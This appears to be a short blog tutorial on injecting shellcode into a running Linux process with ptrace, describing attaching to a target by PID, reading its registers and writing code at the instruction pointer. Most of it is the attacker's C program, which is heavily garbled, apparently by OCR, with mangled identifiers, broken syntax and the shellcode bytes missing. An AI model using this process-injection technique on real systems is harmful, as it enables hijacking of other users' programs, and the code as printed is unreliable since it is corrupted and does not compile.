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Extending the story of shell code injection (https://medium.com/@jain.sm/shell-code-exploit-with-buffer-

overflow-8d78cc11f89b), we showcase a simple example of using ptrace to exploit a running process. Shell code

is binary code injected into a running process using ptrace system calls.

Ptrace is a system call which can be used to debug/modify another process. We need specific privileges to run

ptrace though.
The exploit is explained as below

1. We create a program which takes as input a pid of the running process and uses PTRACE_ATTACH to attach to

a running process. The callee is stopped and caller now is in control.

2. After attaching we get the registers of the running process using PTRACE,_GETREGS. This will also return the

instruction pointer, so we know where the callee is in terms of instruction execution.

3. We inject the shell code at the point the RIP (instruction pointer) is. So if we see the inject_code method above ,
we see usage of PTRACE_POKETEXT call which takes as input pid of the callee, target location (will be RIP of

callee process), source (shell code)
In this example we are not giving control back to the callee.

Code of the caller is shown below
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unsigned char *shellcode =

int

main (int argc, char *argv[])
pid_t target;
struct user_regs_struct regs;
int syscall;
long dst;

if (argc 1= 2)

fprintf (
exit (1);
}
target = ﬁtul [drg~ 'T];
printf { | : [drgH!j
if ((ptrace (?1RA{F ATTACH, target, NULL,
perror ("ptrace(ATTACH):"):
exit (1);
}
printf ("
wait (NULL);
printf ("+ Getting Register )
if ((ptrace (PTRACE. GETREG; target, N &regs))
{
perror ("ptrace(GETREGS):"):
exit (1):
}

printf ("+ Injecting shell code at , (void*)regs.rip);
inject_code [target shellcode, (void*)regs.rip, SHELLCODE_SIZE);
regs.rip += 2

int inject_code (pid_t pid, unsigned char *src, void *dst, int len)

int
uint3z2_t * (uint32_t *) src:
uintiz_t * (uint3Z2_t *) dst:

for (G = 0; 1 < len: 14=4, s++, d++)
{
if ((ptrace (PTRACE_POKETEXT, pid, d,
i
perror (‘ptrace KETEX “y:
return

return -
}
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